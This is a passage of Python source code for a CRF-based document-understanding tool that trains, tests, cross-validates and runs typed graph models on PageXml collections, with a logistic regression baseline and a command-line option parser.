addBaseline_LogisticRegression \n\nSee DU_StAZH_b.py\n\n \"\"\"\n \n cModelClass = None #depends on the number of node types!\n cGraphClass = None #class of graph in use \n \n cFeatureDefinition = FeatureDefinition_PageXml_StandardOnes #I keep this for backward compa\n \n sMetadata_Creator = \"NLE Document Understanding Typed CRF-based - v0.3\"\n sMetadata_Comments = \"\"\n \n #dGridSearch_LR_conf = {'C':[0.1, 0.5, 1.0, 2.0] } #Grid search parameters for LR baseline method training\n dGridSearch_LR_conf = {'C':[0.01, 0.1, 1.0, 10.0] } #Grid search parameters for LR baseline method training\n dGridSearch_LR_n_jobs = 4 #Grid search: number of jobs\n \n sXmlFilenamePattern = \"*[0-9]\"+MultiPageXml.sEXT #how to find the Xml files\n\n @classmethod\n def configureGraphClass(cls, configuredClass=None):\n \"\"\"\n class method to set the graph class ONCE (subsequent calls are ignored)\n \"\"\"\n if cls.cGraphClass is None: #OK, let's set the class attribute!\n \n #if nothing in parameter, or we call the class method\n if configuredClass is None:\n configuredClass = cls.getConfiguredGraphClass()\n assert configuredClass is not None, \"getConfiguredGraphClass returned None\"\n \n cls.cGraphClass = configuredClass\n\n assert cls.cGraphClass is not None\n return cls.cGraphClass\n\n @classmethod\n def getConfiguredGraphClass(cls):\n \"\"\"\n In this class method, we must return a configured graph class\n \"\"\"\n raise Exception(\"class method getConfiguredGraphClass must be specialized\")\n \n \n def __init__(self, sModelName, sModelDir, dLearnerConfig={}, sComment=None\n , cFeatureDefinition=None, dFeatureConfig={}\n ): \n \"\"\"\n \n \"\"\"\n self.configureGraphClass()\n self.sModelName = sModelName\n self.sModelDir = sModelDir\n \n #Because of the way of dealing with the command line, we may get singleton instead of scalar. We fix this here\n self.config_learner_kwargs = {k:v[0] if type(v) is list and len(v)==1 else v for k,v in dLearnerConfig.items()}\n if sComment: self.sMetadata_Comments = sComment\n \n self._mdl = None\n self._lBaselineModel = []\n self.bVerbose = True\n \n self.iNbCRFType = None #is set below\n \n #--- Number of class per type\n #We have either one number of class (single type) or a list of number of class per type\n #in single-type CRF, if we know the number of class, we check that the training set covers all\n self.nbClass = None #either the number or the sum of the numbers\n self.lNbClass = None #a list of length #type of number of class\n\n #--- feature definition and configuration per type\n #Feature definition and their config\n if cFeatureDefinition: self.cFeatureDefinition = cFeatureDefinition\n assert issubclass(self.cFeatureDefinition, crf.FeatureDefinition.FeatureDefinition), \"Your feature definition class must inherit from crf.FeatureDefinition.FeatureDefinition\"\n \n #for single- or multi-type CRF, the same applies!\n self.lNbClass = [len(nt.getLabelNameList()) for nt in self.cGraphClass.getNodeTypeList()]\n self.nbClass = sum(self.lNbClass)\n self.iNbCRFType = len(self.cGraphClass.getNodeTypeList())\n\n if self.iNbCRFType > 1:\n #check the configuration of a MULTITYPE graph\n setKeyGiven = set(dFeatureConfig.keys())\n lNT = self.cGraphClass.getNodeTypeList()\n setKeyExpected = {nt.name for nt in lNT}.union( {\"%s_%s\"%(nt1.name,nt2.name) for nt1 in lNT for nt2 in lNT} )\n \n setMissing = setKeyExpected.difference(setKeyGiven)\n setExtra = setKeyGiven.difference(setKeyExpected)\n if setMissing: traceln(\"ERROR: missing feature extractor config for : \", \", \".join(setMissing))\n if setExtra: traceln(\"ERROR: feature extractor config for unknown : \", \", \".join(setExtra))\n if setMissing or setExtra: raise ValueError(\"Bad feature extractor configuration for a multi-type CRF graph\")\n \n self.config_extractor_kwargs = dFeatureConfig\n\n self.cModelClass = Model_SSVM_AD3 if self.iNbCRFType == 1 else Model_SSVM_AD3_Multitype\n assert issubclass(self.cModelClass, crf.Model.Model), \"Your model class must inherit from crf.Model.Model\"\n \n #--- CONFIGURATION setters --------------------------------------------------------------------\n def isTypedCRF(self): \n \"\"\"\n if this a classical CRF or a Typed CRF?\n \"\"\"\n return self.iNbCRFType > 1\n \n def getGraphClass(self): \n return self.cGraphClass\n \n def setModelClass(self, cModelClass): \n self.cModelClass = cModelClass\n assert issubclass(self.cModelClass, crf.Model.Model), \"Your model class must inherit from crf.Model.Model\"\n \n def getModelClass(self): \n return self.cModelClass\n \n def getModel(self): \n return self._mdl\n \n def setLearnerConfiguration(self, dParams):\n self.config_learner_kwargs = dParams\n \n \"\"\"\n When some class is not represented on some graph, you must specify the number of class (per type if multiple types)\n Otherwise pystruct will complain about the number of states differeing from the number of weights\n \"\"\"\n def setNbClass(self, useless_stuff): #DEPRECATED - DO NOT CALL!! Number of class computed automatically\n traceln(\" *** setNbClass is deprecated - update your code (but it should work fine!)\")\n \n def getNbClass(self, lNbClass): #OK\n \"\"\"\n return the total number of classes\n \"\"\"\n return self.nbClass\n \n #--- COMMAND LINE PARSZER --------------------------------------------------------------------\n def getBasicTrnTstRunOptionParser(cls, sys_argv0=None, version=\"\"):\n usage = \"\"\"\"%s [--rm] [--trn [--warm]]+ [--tst ]+ [--run ]+\nor for a cross-validation [--fold-init ] [--fold-run [-w]] [--fold-finish] [--fold ]+\n[--pkl]\nCRF options: [--crf-max_iter ] [--crf-C ] [--crf-tol ] [--crf-njobs ] [crf-inference_cache ] [best-params=]\n\n For the named MODEL using the given FOLDER for storage:\n --rm : remove all model data from the folder\n --trn : train a model using the given data (multiple --trn are possible)\n --warm/-w: warm-start the training if applicable\n --tst : test the model using the given test collection (multiple --tst are possible)\n --run : predict using the model for the given collection (multiple --run are possible)\n \n --fold : enlist one collection as data source for cross-validation\n --fold-init : generate the content of the N folds \n --fold-run : run the given fold, if --warm/-w, then warm-start if applicable \n --fold-finish : collect and aggregate the results of all folds that were run.\n\n --pkl : store the data as a pickle file containing PyStruct data structure (lX, lY) and exit\n \n --crf-njobs : number of parallel training jobs\n \n --crf-XXX : set the XXX trainer parameter. XXX can be max_iter, C, tol, inference-cache\n If several values are given, a grid search is done by cross-validation. \n The best set of parameters is then stored and can be used thanks to the --best-params option.\n --best-params : uses the parameters obtained by the previously done grid-search. \n If it was done on a model fold, the name takes the form: _fold_, e.g. foo_fold_2\n \n \"\"\"%sys_argv0\n\n #prepare for the parsing of the command line\n parser = OptionParser(usage=usage, version=version)\n \n parser.add_option(\"--trn\", dest='lTrn', action=\"append\", type=\"string\"\n , help=\"Train or continue previous training session using the given annotated collection.\") \n parser.add_option(\"--tst\", dest='lTst', action=\"append\", type=\"string\"\n , help=\"Test a model using the given annotated collection.\") \n parser.add_option(\"--run\", dest='lRun', action=\"append\", type=\"string\"\n , help=\"Run a model on the given non-annotated collection.\") \n parser.add_option(\"--fold\", dest='lFold', action=\"append\", type=\"string\"\n , help=\"Evaluate by cross-validation a model on the given annotated collection.\") \n parser.add_option(\"--fold-init\", dest='iFoldInitNum', action=\"store\", type=\"int\"\n , help=\"Initialize the file lists for parallel cross-validating a model on the given annotated collection. Indicate the number of folds.\") \n parser.add_option(\"--fold-run\", dest='iFoldRunNum', action=\"store\", type=\"int\"\n , help=\"Run one fold, prepared by --fold-init options. Indicate the fold by its number.\") \n parser.add_option(\"--fold-finish\", dest='bFoldFinish', action=\"store_true\"\n , help=\"Evaluate by cross-validation a model on the given annotated collection.\") \n parser.add_option(\"-w\", \"--warm\", dest='warm', action=\"store_true\"\n , help=\"To make warm-startable model and warm-start if a model exist already.\") \n parser.add_option(\"--pkl\", dest='pkl', action=\"store_true\"\n , help=\"GZip and pickle PyStruct data as (lX, lY), and exit.\") \n parser.add_option(\"--rm\", dest='rm', action=\"store_true\"\n , help=\"Remove all model files\") \n parser.add_option(\"--crf-njobs\", dest='crf_njobs', action=\"store\", type=\"int\"\n , help=\"CRF training parameter njobs\")\n parser.add_option(\"--crf-max_iter\" , dest='crf_max_iter' , action=\"append\", type=\"int\" #\"append\" to have a list and possibly do a gridsearch\n , help=\"CRF training parameter max_iter\") \n parser.add_option(\"--crf-C\" , dest='crf_C' , action=\"append\", type=\"float\"\n , help=\"CRF training parameter C\") \n parser.add_option(\"--crf-tol\" , dest='crf_tol' , action=\"append\", type=\"float\"\n , help=\"CRF training parameter tol\") \n parser.add_option(\"--crf-inference_cache\" , dest='crf_inference_cache', action=\"append\", type=\"int\"\n , help=\"CRF training parameter inference_cache\") \n parser.add_option(\"--best-params\", dest='best_params', action=\"store\", type=\"string\"\n , help=\"Use the best parameters from the grid search previously done on the given model or model fold\") \n\n parser.add_option(\"--storeX\" , dest='storeX' , action=\"store\", type=\"string\", help=\"Dev: to be use with --run: load the data and store [X] under given filename, and exit\")\n parser.add_option(\"--applyY\" , dest='applyY' , action=\"store\", type=\"string\", help=\"Dev: to be use with --run: load the data, label it using [Y] from given file name, and store the annotated data, and exit\")\n \n return usage, None, parser\n getBasicTrnTstRunOptionParser = classmethod(getBasicTrnTstRunOptionParser)\n \n #---------------------------------------------------------------------------------------------------------- \n def setBaselineList(self, lMdl):\n \"\"\"\n Add one or several baseline methods.\n set one or a list of sklearn model(s):\n - they MUST be initialized, so that the fit method can be called at train time\n - they MUST accept the sklearn usual predict method\n - they SHOULD support a concise __str__ method\n They will be trained with the node features, from all nodes of all training graphs\n \"\"\"\n self._lBaselineModel = lMdl\n \n def getBaselineList(self):\n return self._lBaselineModel\n \n def addBaseline_LogisticRegression(self):\n \"\"\"\n add as Baseline a Logistic Regression model, trained via a grid search\n \"\"\"\n #we always have one LR model per type (yes, even for single type ! ;-) )\n lMdl = [ GridSearchCV(LogisticRegression(class_weight='balanced') \n , self.dGridSearch_LR_conf, n_jobs=self.dGridSearch_LR_n_jobs) for _ in range(self.iNbCRFType) ] \n \n if self.isTypedCRF():\n traceln(\" - typed CRF\")\n tMdl = tuple(lMdl)\n self._lBaselineModel.append( tMdl )\n return tMdl\n else:\n assert len(lMdl) == 1, \"internal error\"\n [mdl] = lMdl\n self._lBaselineModel.append( mdl )\n return mdl\n\n #---------------------------------------------------------------------------------------------------------- \n # in case you want no output at all on stderr\n def setVerbose(self, bVerbose) : self.bVerbose = bVerbose \n def getVerbose(self) : return self.bVerbose \n \n def traceln(self, *kwargs) : \n if self.bVerbose: traceln(*kwargs)\n \n #---------------------------------------------------------------------------------------------------------- \n def load(self, bForce=False):\n \"\"\"\n Load the model from the disk\n if bForce == True, force the load, even if the model is already loaded in memory\n \"\"\"\n if bForce or not self._mdl:\n self.traceln(\"- loading a %s model\"%self.cModelClass)\n self._mdl = self.cModelClass(self.sModelName, self.sModelDir)\n self._mdl.load()\n self.traceln(\" done\")\n else:\n self.traceln(\"- %s model already loaded\"%self.cModelClass)\n \n return\n \n def rm(self):\n \"\"\"\n Remove from the disk any file for this model!!!\n \"\"\"\n mdl = self.cModelClass(self.sModelName, self.sModelDir)\n \n for s in [ mdl.getModelFilename()\n , mdl.getTransformerFilename()\n , mdl.getConfigurationFilename()\n , mdl.getBaselineFilename()\n , mdl._getParamsFilename(self.sModelName, self.sModelDir) ]:\n if os.path.exists(s):\n self.traceln(\"\\t - rm %s\"%s) \n os.unlink(s)\n if os.path.exists(self.sModelDir) and not os.listdir(self.sModelDir):\n self.traceln(\"\\t - rmdir %s\"%self.sModelDir) \n os.rmdir(self.sModelDir)\n return \n \n def train_save_test(self, lsTrnColDir, lsTstColDir, bWarm=False, bPickleOnly=False):\n \"\"\"\n - Train a model on the tTRN collections, if not empty.\n - Test the trained model using the lTST collections, if not empty.\n - Also train/test any baseline model associated to the main model.\n - Trained models are saved on disk, for testing, redicting or further training (by warm-start)\n - if bWarm==True: warm-start the training from any data stored on disk. Otherwise, a non-empty model folder raises a ModelException\n return a test report object\n \"\"\"\n self.traceln(\"-\"*50)\n self.traceln(\"Model file '%s' in folder '%s'\"%(self.sModelName, self.sModelDir))\n sConfigFile = os.path.join(self.sModelDir, self.sModelName+\".py\")\n self.traceln(\" Configuration file: %s\"%sConfigFile)\n self.traceln(\"Training with collection(s):\", lsTrnColDir)\n self.traceln(\"Testing with collection(s):\", lsTstColDir)\n self.traceln(\"-\"*50)\n \n #list the train and test files\n #NOTE: we check the presence of a digit before the '.' to eclude the *_du.xml files\n ts_trn, lFilename_trn = self.listMaxTimestampFile(lsTrnColDir, self.sXmlFilenamePattern)\n _ , lFilename_tst = self.listMaxTimestampFile(lsTstColDir, self.sXmlFilenamePattern)\n \n self.traceln(\"- creating a %s model\"%self.cModelClass)\n oReport = self._train_save_test(self.sModelName, bWarm, lFilename_trn, ts_trn, lFilename_tst, bPickleOnly)\n\n return oReport\n\n def test(self, lsTstColDir):\n \"\"\"\n test the model\n return a TestReport object\n \"\"\"\n self.traceln(\"-\"*50)\n self.traceln(\"Trained model '%s' in folder '%s'\"%(self.sModelName, self.sModelDir))\n self.traceln(\"Testing collection(s):\", lsTstColDir)\n self.traceln(\"-\"*50)\n \n if not self._mdl: raise Exception(\"The model must be loaded beforehand!\")\n \n #list the train and test files\n _ , lFilename_tst = self.listMaxTimestampFile(lsTstColDir, self.sXmlFilenamePattern)\n \n DU_GraphClass = self.cGraphClass\n \n lPageConstraint = DU_GraphClass.getPageConstraint()\n if lPageConstraint: \n for dat in lPageConstraint: self.traceln(\"\\t\\t%s\"%str(dat))\n \n try:\n #should work fine\n oReport = self._mdl.testFiles(lFilename_tst, lambda fn: DU_GraphClass.loadGraphs([fn], bDetach=True, bLabelled=True, iVerbose=1),self.getBaselineList() != [])\n except:\n self.traceln(\"- loading test graphs\")\n lGraph_tst = DU_GraphClass.loadGraphs(lFilename_tst, bDetach=True, bLabelled=True, iVerbose=1)\n self.traceln(\" %d graphs loaded\"%len(lGraph_tst))\n oReport = self._mdl.test(lGraph_tst)\n\n return oReport\n\n\n def predict(self, lsColDir,docid=None):\n \"\"\"\n Return the list of produced files\n \"\"\"\n self.traceln(\"-\"*50)\n self.traceln(\"Predicting for collection(s):\", lsColDir)\n self.traceln(\"-\"*50)\n\n if not self._mdl: raise Exception(\"The model must be loaded beforehand!\")\n\n #list files\n if docid is None:\n _ , lFilename = self.listMaxTimestampFile(lsColDir, self.sXmlFilenamePattern)\n # predict for this file only\n else:\n try:\n lFilename = [os.path.abspath(os.path.join(lsColDir[0], docid+MultiPageXml.sEXT ))]\n except IndexError:raise Exception(\"a collection directory must be provided!\")\n\n\n DU_GraphClass = self.getGraphClass()\n\n lPageConstraint = DU_GraphClass.getPageConstraint()\n if lPageConstraint:\n for dat in lPageConstraint: self.traceln(\"\\t\\t%s\"%str(dat))\n\n chronoOn(\"predict\")\n self.traceln(\"- loading collection as graphs, and processing each in turn. (%d files)\"%len(lFilename))\n du_postfix = \"_du\"+MultiPageXml.sEXT\n lsOutputFilename = []\n for sFilename in lFilename:\n if sFilename.endswith(du_postfix): continue #:)\n chronoOn(\"predict_1\")\n lg = DU_GraphClass.loadGraphs([sFilename], bDetach=False, bLabelled=False, iVerbose=1)\n #normally, we get one graph per file, but in case we load one graph per page, for instance, we have a list\n if lg:\n for g in lg:\n doc = g.doc\n if lPageConstraint:\n self.traceln(\"\\t- prediction with logical constraints: %s\"%sFilename)\n else:\n self.traceln(\"\\t- prediction : %s\"%sFilename)\n Y = self._mdl.predict(g)\n\n g.setDomLabels(Y)\n del Y\n del lg\n\n MultiPageXml.setMetadata(doc, None, self.sMetadata_Creator, self.sMetadata_Comments)\n sDUFilename = sFilename[:-len(MultiPageXml.sEXT)]+du_postfix\n doc.write(sDUFilename,\n xml_declaration=True,\n encoding=\"utf-8\",\n pretty_print=True\n #compression=0, #0 to 9\n )\n\n lsOutputFilename.append(sDUFilename)\n else:\n self.traceln(\"\\t- no prediction to do for: %s\"%sFilename)\n\n self.traceln(\"\\t done [%.2fs]\"%chronoOff(\"predict_1\"))\n self.traceln(\" done [%.2fs]\"%chronoOff(\"predict\"))\n\n return lsOutputFilename\n\n def runForExternalMLMethod(self, lsColDir, storeX, applyY, bRevertEdges=False):\n \"\"\"\n HACK: to test new ML methods, not yet integrated in our SW: storeX=None, storeXY=None, applyY=None\n Return the list of produced files\n \"\"\"\n\n self.traceln(\"-\"*50)\n if storeX: traceln(\"Loading data and storing [X] (1 X per graph)\")\n if applyY: traceln(\"Loading data, loading Y, labelling data, storing annotated data\")\n self.traceln(\"-\"*50)\n\n if storeX and applyY:\n raise ValueError(\"Either store X or applyY, not both\")\n\n if not self._mdl: raise Exception(\"The model must be loaded beforehand!\")\n \n #list files\n _ , lFilename = self.listMaxTimestampFile(lsColDir, self.sXmlFilenamePattern)\n \n DU_GraphClass = self.getGraphClass()\n\n lPageConstraint = DU_GraphClass.getPageConstraint()\n if lPageConstraint: \n for dat in lPageConstraint: self.traceln(\"\\t\\t%s\"%str(dat))\n \n if applyY: \n self.traceln(\"LOADING [Y] from %s\"%applyY)\n lY = self._mdl.gzip_cPickle_load(applyY)\n if storeX: lX = []\n \n chronoOn(\"predict\")\n self.traceln(\"- loading collection as graphs, and processing each in turn. (%d files)\"%len(lFilename))\n du_postfix = \"_du\"+MultiPageXml.sEXT\n lsOutputFilename = []\n for sFilename in lFilename:\n if sFilename.endswith(du_postfix): continue #:)\n chronoOn(\"predict_1\")\n lg = DU_GraphClass.loadGraphs([sFilename], bDetach=False, bLabelled=False, iVerbose=1)\n #normally, we get one graph per file, but in case we load one graph per page, for instance, we have a list\n if lg:\n for g in lg:\n doc = g.doc\n if bRevertEdges: g.revertEdges() #revert the directions of the edges\n if lPageConstraint:\n self.traceln(\"\\t- prediction with logical constraints: %s\"%sFilename)\n else:\n self.traceln(\"\\t- prediction : %s\"%sFilename)\n if storeX:\n [X] = self._mdl.get_lX([g])\n lX.append(X)\n else:\n Y = lY.pop(0)\n g.setDomLabels(Y)\n del lg\n \n if applyY:\n MultiPageXml.setMetadata(doc, None, self.sMetadata_Creator, self.sMetadata_Comments)\n sDUFilename = sFilename[:-len(MultiPageXml.sEXT)]+du_postfix\n doc.saveFormatFileEnc(sDUFilename, \"utf-8\", True) #True to indent the XML\n doc.freeDoc()\n lsOutputFilename.append(sDUFilename)\n else:\n self.traceln(\"\\t- no prediction to do for: %s\"%sFilename)\n \n self.traceln(\"\\t done [%.2fs]\"%chronoOff(\"predict_1\"))\n self.traceln(\" done [%.2fs]\"%chronoOff(\"predict\"))\n\n if storeX:\n self.traceln(\"STORING [X] in %s\"%storeX)\n self._mdl.gzip_cPickle_dump(storeX, lX)\n \n return lsOutputFilename\n\n def checkLabelCoverage(self, lY):\n #check that all classes are represented in the dataset\n #it is done again in train but we do that here also because the extractor can take along time, \n # and we may discover afterwards it was a useless dataset.\n aLabelCount, _ = np.histogram( np.hstack(lY) , range(self.nbClass+1))\n traceln(\" Labels count: \", aLabelCount, \" (%d graphs)\"%len(lY))\n traceln(\" Labels : \", self.getGraphClass().getLabelNameList())\n if np.min(aLabelCount) == 0:\n sMsg = \"*** ERROR *** Label(s) not observed in data.\"\n #traceln( sMsg+\" Label(s): %s\"% np.where(aLabelCount[:] == 0)[0] )\n lMissingLabels = [self.getGraphClass().getLabelNameList()[i] for i in np.where(aLabelCount[:] == 0)[0]]\n traceln( sMsg+\" Label(s): %s\"% lMissingLabels )\n raise ValueError(sMsg)\n return True\n\n #----- NFOLD STUFF\n def _nfold_Init(self, lsTrnColDir, n_splits=3, test_size=0.25, random_state=None, bStoreOnDisk=False):\n \"\"\"\n initialize a cross-validation\n if bStoreOnDisk is true, store the details of each fold on disk, for paralell execution of each\n return a splitter object, training file timestamp and list \n \"\"\"\n self.traceln(\"-\"*50)\n traceln(\"---------- INITIALIZING CROSS-VALIDATION ----------\")\n self.traceln(\"Model files '%s' in folder '%s'\"%(self.sModelName, self.sModelDir))\n #sConfigFile = os.path.join(self.sModelDir, self.sModelName+\".py\")\n #self.traceln(\" Configuration file: %s\"%sConfigFile)\n self.traceln(\"Evaluating with collection(s):\", lsTrnColDir)\n self.traceln(\"-\"*50)\n\n fnCrossValidDetails = os.path.join(self.sModelDir, \"fold_def.pkl\")\n if os.path.exists(fnCrossValidDetails):\n self.traceln(\"ERROR: I refuse to overwrite an existing CV setup. Remove manually the CV data! (files %s%s%s_fold* )\"%(self.sModelDir, os.sep, self.sModelName))\n exit(1)\n \n #list the train files\n traceln(\" - looking for %s files in %s\"%(self.sXmlFilenamePattern, lsTrnColDir))\n ts_trn, lFilename_trn = self.listMaxTimestampFile(lsTrnColDir, self.sXmlFilenamePattern)\n self.traceln(\" %d train documents\" % len(lFilename_trn))\n \n splitter = ShuffleSplit(n_splits, test_size, random_state)\n \n if bStoreOnDisk:\n \n crf.Model.Model.gzip_cPickle_dump(fnCrossValidDetails\n , (lsTrnColDir, n_splits, test_size, random_state))\n \n for i, (train_index, test_index) in enumerate(splitter.split(lFilename_trn)):\n iFold = i + 1\n traceln(\"---------- FOLD %d ----------\"%iFold)\n lFoldFilename_trn = [lFilename_trn[i] for i in train_index]\n lFoldFilename_tst = [lFilename_trn[i] for i in test_index]\n traceln(\"--- Train with: %s\"%lFoldFilename_trn)\n traceln(\"--- Test with: %s\"%lFoldFilename_tst)\n \n #fnFoldDetails = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_def.pkl\"%iFold)\n fnFoldDetails = os.path.join(self.sModelDir, \"fold_%d_def.pkl\" % iFold)\n oFoldDetails = (iFold, ts_trn, lFilename_trn, train_index, test_index)\n crf.Model.Model.gzip_cPickle_dump(fnFoldDetails, oFoldDetails)\n #store the list for TRN and TST in a human readable form\n for name, lFN in [('trn', lFoldFilename_trn), ('tst', lFoldFilename_tst)]:\n #with open(os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_def_%s.txt\"%(iFold, name)), \"w\") as fd:\n with open(os.path.join(self.sModelDir, \"fold_%d_def_%s.txt\" % (iFold, name)),\n \"w\") as fd:\n fd.write(\"\\n\".join(lFN))\n fd.write(\"\\n\")\n traceln(\"--- Fold info stored in : %s\"%fnFoldDetails)\n \n return splitter, ts_trn, lFilename_trn\n\n def _nfold_RunFoldFromDisk(self, iFold, bWarm=False, bPickleOnly=False):\n \"\"\"\n Run the fold iFold\n Store results on disk\n \"\"\"\n fnFoldDetails = os.path.join(self.sModelDir, \"fold_%d_def.pkl\"%abs(iFold))\n\n if os.path.exists(fnFoldDetails) is False:\n try:\n import fnmatch\n #Try to take an existing fold definition\n modelsFiles = os.listdir(self.sModelDir)\n found_files = fnmatch.filter(modelsFiles, '*'+\"_fold_%d_def.pkl\"%abs(iFold))\n if len(found_files)==1:\n print('Found an existing Fold defition:',found_files[0])\n fnFoldDetails=os.path.join(self.sModelDir,found_files[0])\n else:\n raise Exception('Could not find a fold definition')\n except ImportError:\n print('Could not load Python 3 fnmatch module ')\n\n traceln(\"--- Loading fold info from : %s\"% fnFoldDetails)\n oFoldDetails = crf.Model.Model.gzip_cPickle_load(fnFoldDetails)\n (iFold_stored, ts_trn, lFilename_trn, train_index, test_index) = oFoldDetails\n assert iFold_stored == abs(iFold), \"Internal error. Inconsistent fold details on disk.\"\n \n if iFold > 0: #normal case\n oReport = self._nfold_RunFold(iFold, ts_trn, lFilename_trn, train_index, test_index, bWarm=bWarm, bPickleOnly=bPickleOnly)\n else:\n traceln(\"Switching train and test data for fold %d\"%abs(iFold))\n oReport = self._nfold_RunFold(iFold, ts_trn, lFilename_trn, test_index, train_index, bWarm=bWarm, bPickleOnly=bPickleOnly)\n \n fnFoldResults = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_TestReport.pkl\"%iFold)\n crf.Model.Model.gzip_cPickle_dump(fnFoldResults, oReport)\n traceln(\" - Done (fold %d)\"%iFold)\n \n return oReport\n\n def _nfold_Finish(self):\n traceln(\"---------- SHOWING RESULTS OF CROSS-VALIDATION ----------\")\n \n fnCrossValidDetails = os.path.join(self.sModelDir, \"fold_def.pkl\")\n (lsTrnColDir, n_splits, test_size, random_state) = crf.Model.Model.gzip_cPickle_load(fnCrossValidDetails)\n \n loReport = []\n for i in range(n_splits):\n iFold = i + 1\n fnFoldResults = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_TestReport.pkl\"%iFold)\n traceln(\"\\t-loading \", fnFoldResults)\n try:\n oReport = crf.Model.Model.gzip_cPickle_load(fnFoldResults)\n \n loReport.append(oReport)\n except:\n traceln(\"\\tWARNING: fold %d has NOT FINISHED or FAILED\"%iFold)\n\n oNFoldReport = TestReportConfusion.newFromReportList(self.sModelName+\" (ALL %d FOLDS)\"%n_splits, loReport) #a test report based on the confusion matrix\n\n fnCrossValidDetails = os.path.join(self.sModelDir, self.sModelName+\"_folds_STATS.txt\")\n with open(fnCrossValidDetails, \"a\") as fd:\n #BIG banner\n fd.write(\"\\n\\n\")\n fd.write(\"#\"*80+\"\\n\")\n fd.write(\"# AGGREGATING FOLDS RESULTS \" + \"%s\\n\"%datetime.datetime.now().isoformat())\n fd.write(\"#\"*80+\"\\n\\n\")\n \n for oReport in loReport: \n fd.write(str(oReport))\n fd.write(\"%s\\n\"%(\" _\"*30))\n\n fd.write(str(oNFoldReport))\n \n return oNFoldReport\n\n def _nfold_RunFold(self, iFold, ts_trn, lFilename_trn, train_index, test_index, bWarm=False, bPickleOnly=False):\n \"\"\"\n Run this fold\n Return a TestReport object\n \"\"\"\n traceln(\"---------- RUNNING FOLD %d ----------\"%iFold)\n lFoldFilename_trn = [lFilename_trn[i] for i in train_index]\n lFoldFilename_tst = [lFilename_trn[i] for i in test_index]\n traceln(\"--- Train with: %s\"%lFoldFilename_trn)\n traceln(\"--- Test with: %s\"%lFoldFilename_tst)\n \n self.traceln(\"- creating a %s model\"%self.cModelClass)\n sFoldModelName = self.sModelName+\"_fold_%d\"%iFold\n \n oReport = self._train_save_test(sFoldModelName, bWarm, lFoldFilename_trn, ts_trn, lFoldFilename_tst, bPickleOnly)\n\n fnFoldReport = os.path.join(self.sModelDir, self.sModelName+\"_fold_%d_STATS.txt\"%iFold)\n with open(fnFoldReport, \"w\") as fd:\n fd.write(str(oReport))\n \n return oReport\n \n def nfold_Eval(self, lsTrnColDir, n_splits=3, test_size=0.25, random_state=None, bPickleOnly=False):\n \"\"\"\n n-fold evaluation on the training data\n \n - list all files\n - generate a user defined number of independent train / test dataset splits. Samples are first shuffled and then split into a pair of train and test sets\n - for each split: \n - train a CRF and all baseline model\n - test and make a TestReport\n - save the model\n - return a list of TestReports\n \"\"\"\n \n splitter, ts_trn, lFilename_trn = self._nfold_Init(lsTrnColDir, n_splits, test_size, random_state)\n \n loTstRpt = []\n \n for i, (train_index, test_index) in enumerate(splitter.split(lFilename_trn)):\n oReport = self._nfold_RunFold(i+1, ts_trn, lFilename_trn, train_index, test_index, bPickleOnly=False)\n traceln(oReport)\n loTstRpt.append(oReport)\n \n return loTstRpt\n\n #---------------------------------------------------------------------------------------------------------- \n def _pickleData(self, mdl, lGraph, name):\n self.traceln(\"- Computing data structure of all graphs and features...\")\n #for GCN\n bGCN_revert = False\n if bGCN_revert:\n for g in lGraph: g.revertEdges()\n lX, lY = mdl.get_lX_lY(lGraph)\n sFilename = mdl.getTrainDataFilename(name)\n if bGCN_revert:\n sFilename = sFilename.replace(\"_tlXlY_\", \"_tlXrlY_\")\n self.traceln(\"- storing (lX, lY) into %s\"%sFilename)\n mdl.gzip_cPickle_dump(sFilename, (lX, lY))\n return\n \n def _train_save_test(self, sModelName, bWarm, lFilename_trn, ts_trn, lFilename_tst, bPickleOnly):\n \"\"\"\n used both by train_save_test and _nfold_runFold\n \"\"\"\n mdl = self.cModelClass(sModelName, self.sModelDir)\n \n if os.path.exists(mdl.getModelFilename()) and not bWarm and not bPickleOnly: \n raise crf.Model.ModelException(\"Model exists on disk already (%s), either remove it first or warm-start the training.\"%mdl.getModelFilename())\n \n mdl.configureLearner(**self.config_learner_kwargs)\n mdl.setBaselineModelList(self._lBaselineModel)\n mdl.saveConfiguration( (self.config_extractor_kwargs, self.config_learner_kwargs) )\n self.traceln(\"\\t - configuration: \", self.config_learner_kwargs )\n\n self.traceln(\"- loading training graphs\")\n lGraph_trn = self.cGraphClass.loadGraphs(lFilename_trn, bDetach=True, bLabelled=True, iVerbose=1)\n self.traceln(\" %d graphs loaded\"%len(lGraph_trn))\n\n assert self.nbClass and self.lNbClass, \"internal error: I expected the number of class to be automatically computed at that stage\"\n if self.iNbCRFType == 1:\n mdl.setNbClass(self.nbClass)\n else:\n mdl.setNbClass(self.lNbClass)\n\n #for this check, we load the Y once...\n self.checkLabelCoverage(mdl.get_lY(lGraph_trn)) #NOTE that Y are in bad order if multiptypes. Not a pb here\n \n self.traceln(\"- retrieving or creating feature extractors...\")\n chronoOn(\"FeatExtract\")\n try:\n mdl.loadTransformers(ts_trn)\n except crf.Model.ModelException:\n fe = self.cFeatureDefinition(**self.config_extractor_kwargs) \n fe.fitTranformers(lGraph_trn)\n fe.cleanTransformers()\n mdl.setTranformers(fe.getTransformers())\n mdl.saveTransformers()\n self.traceln(\" done [%.1fs]\"%chronoOff(\"FeatExtract\"))\n \n if bPickleOnly:\n self._pickleData(mdl, lGraph_trn, \"trn\")\n else:\n self.traceln(\"- training model...\")\n chronoOn(\"MdlTrn\")\n mdl.train(lGraph_trn, True, ts_trn, verbose=1 if self.bVerbose else 0)\n mdl.save()\n self.traceln(\" done [%.1fs]\"%chronoOff(\"MdlTrn\"))\n \n # OK!!\n self._mdl = mdl\n \n if lFilename_tst:\n self.traceln(\"- loading test graphs\")\n lGraph_tst = self.cGraphClass.loadGraphs(lFilename_tst, bDetach=True, bLabelled=True, iVerbose=1)\n self.traceln(\" %d graphs loaded\"%len(lGraph_tst))\n if bPickleOnly:\n self._pickleData(mdl, lGraph_tst, \"tst\")\n else:\n oReport = mdl.test(lGraph_tst)\n else:\n oReport = None\n\n if bPickleOnly:\n self.traceln(\"- pickle done, exiting\")\n exit(0)\n \n return oReport\n \n #---------------------------------------------------------------------------------------------------------- \n def listMaxTimestampFile(cls, lsDir, sPattern):\n \"\"\"\n List the file following the given pattern in the given folders\n return the timestamp of the most recent one\n Return a timestamp and a list of filename\n \"\"\"\n lFn, ts = [], None \n for sDir in lsDir:\n lsFilename = 